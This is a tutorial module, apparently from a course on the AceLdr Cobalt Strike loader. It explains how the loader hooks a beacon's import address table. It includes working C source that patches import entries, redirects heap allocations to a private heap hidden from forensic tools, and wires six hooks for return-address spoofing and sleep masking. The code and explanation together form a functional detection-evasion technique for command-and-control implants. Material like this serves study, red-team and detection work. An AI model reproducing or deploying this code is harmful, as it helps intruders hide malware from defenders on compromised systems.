Module 6: IAT Hooking & Heap Redirection

Intercepting API calls to control beacon behavior from within

Why Hook the IAT?

This technique is critical because it lets AceLdr:

• Redirect heap allocations to a private heap (invisible to standard forensic tools)
• Spoof return addresses on sensitive API calls (covered in depth in Module 7)
• Intercept sleep calls to activate the FOLIAGE sleep mask (Module 8)

The Six IAT Hooks

AceLdr installs exactly 6 hooks in the beacon's IAT. Each hook serves a distinct evasion purpose:

LdrHookImport — The Hook Installation Engine

The workhorse function that performs the actual IAT patching lives in util.c. It walks the beacon's import directory, finds the matching DLL and function, and overwrites the IAT entry:

C — util.c
VOID LdrHookImport(
    PVOID  Image,       // Base address of the loaded beacon
    ULONG  ImpHash,     // Hash of the DLL name (e.g., hash of "kernel32.dll")
    ULONG  FuncHash,    // Hash of the function name (e.g., hash of "Sleep")
    PVOID  HookFunc     // Pointer to our hook function
) {
    PIMAGE_DOS_HEADER       Dos  = Image;
    PIMAGE_NT_HEADERS       Nt   = (PVOID)((UINT_PTR)Image + Dos->e_lfanew);
    PIMAGE_DATA_DIRECTORY   Dir  = &Nt->OptionalHeader.DataDirectory[1]; // IMPORT dir

    // Walk each IMAGE_IMPORT_DESCRIPTOR
    for (PIMAGE_IMPORT_DESCRIPTOR Imp = (PVOID)((UINT_PTR)Image + Dir->VirtualAddress);
         Imp->Name != 0;
         Imp++) {

        // Check if this descriptor matches our target DLL
        PCHAR DllName = (PCHAR)((UINT_PTR)Image + Imp->Name);
        if (HashString(DllName) != ImpHash)
            continue;

        // Walk the Original First Thunk (names) and First Thunk (addresses)
        PIMAGE_THUNK_DATA Oft = (PVOID)((UINT_PTR)Image + Imp->OriginalFirstThunk);
        PIMAGE_THUNK_DATA Ft  = (PVOID)((UINT_PTR)Image + Imp->FirstThunk);

        for (; Oft->u1.AddressOfData != 0; Oft++, Ft++) {
            // Skip ordinal imports
            if (IMAGE_SNAP_BY_ORDINAL(Oft->u1.Ordinal))
                continue;

            PIMAGE_IMPORT_BY_NAME Ibn = (PVOID)((UINT_PTR)Image + Oft->u1.AddressOfData);

            // If function name hash matches, overwrite the IAT entry
            if (HashString(Ibn->Name) == FuncHash) {
                Ft->u1.Function = (UINT_PTR)HookFunc;
                return;
            }
        }
    }
}

Step-by-Step Walkthrough

1. Parse PE headers — Navigate from the DOS header to the NT headers, then to the Import Data Directory (index 1).
2. Walk import descriptors — Each descriptor represents one DLL that the beacon imports from. Compare each DLL name's hash against ImpHash.
3. Walk thunk arrays — The OriginalFirstThunk (OFT) array holds function name RVAs; the FirstThunk (FT) array holds the actual resolved function addresses (the IAT).
4. Match & overwrite — When the function name hash matches FuncHash, overwrite Ft->u1.Function with the hook pointer. The beacon will now call our hook instead of the real API.

GetProcessHeap_Hook — Heap Redirection

This is one of the simplest yet most impactful hooks. The entire implementation is a single line:

C — hooks/heap.c
HANDLE WINAPI GetProcessHeap_Hook(VOID) {
    return C_PTR(STUB.Heap);  // OFFSET macro resolves STUB.Heap at runtime
}

What This Achieves

STUB.Heap is a private heap created earlier by AceLdr via RtlCreateHeap. By returning this handle instead of the process's default heap, every subsequent HeapAlloc/HeapFree call the beacon makes operates on our private heap. This has two benefits:

• Forensic evasion — Tools that scan the default process heap for beacon artifacts (strings, config data, C2 URLs) will find nothing. The beacon's data lives on a separate, unlisted heap.
• Sleep masking — During the FOLIAGE sleep mask, AceLdr can walk and encrypt only the private heap. Since all beacon allocations funnel through it, encryption is comprehensive and targeted.

installHooks — Wiring It All Together

After the beacon is reflectively loaded and its imports resolved, installHooks in ace.c calls LdrHookImport six times — once for each hook:

C — ace.c
VOID installHooks(PVOID BeaconBase) {
    // Hook Sleep -> Sleep_Hook (FOLIAGE sleep masking)
    LdrHookImport(BeaconBase,
        HASH_KERNEL32,    // DLL hash: "kernel32.dll"
        HASH_SLEEP,       // Function hash: "Sleep"
        C_PTR(Sleep_Hook));

    // Hook GetProcessHeap -> GetProcessHeap_Hook (private heap)
    LdrHookImport(BeaconBase,
        HASH_KERNEL32,
        HASH_GETPROCESSHEAP,
        C_PTR(GetProcessHeap_Hook));

    // Hook HeapAlloc -> HeapAlloc_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_KERNEL32,
        HASH_HEAPALLOC,
        C_PTR(HeapAlloc_Hook));

    // Hook RtlAllocateHeap -> RtlAllocateHeap_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_NTDLL,       // DLL hash: "ntdll.dll"
        HASH_RTLALLOCATEHEAP,
        C_PTR(RtlAllocateHeap_Hook));

    // Hook InternetConnectA -> InternetConnectA_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_WININET,     // DLL hash: "wininet.dll"
        HASH_INTERNETCONNECTA,
        C_PTR(InternetConnectA_Hook));

    // Hook NtWaitForSingleObject -> NtWaitForSingleObject_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_NTDLL,
        HASH_NTWAITFORSINGLEOBJECT,
        C_PTR(NtWaitForSingleObject_Hook));
}

The PTR_TO_HOOK Macro

In AceLdr's actual source code, some of these hook installations use the PTR_TO_HOOK macro for brevity:

C — macro definition
#define PTR_TO_HOOK(base, dll_hash, func_hash, hook_fn) \
    LdrHookImport(base, dll_hash, func_hash, C_PTR(hook_fn))

This macro simply wraps LdrHookImport with the C_PTR wrapper on the hook function. It reduces visual noise when installing multiple hooks in sequence, but the underlying mechanism is identical.

How IAT Hooking Fits the Big Picture

The IAT hooks are the control plane of AceLdr's evasion strategy. Without them, the beacon would use the default heap (visible to scanners), sleep without encryption (visible to memory scanners), and make API calls with legitimate return addresses pointing back into suspicious unbacked memory (visible to stack walkers).

Defense-in-Depth Through Hooks

• Layer 1: Heap isolation — GetProcessHeap_Hook ensures all beacon data is on a private heap
• Layer 2: Return address spoofing — 4 hooks wrap calls with spoofed return addresses so stack traces look legitimate
• Layer 3: Sleep masking — Sleep_Hook triggers full FOLIAGE encryption before any sleep period

Knowledge Check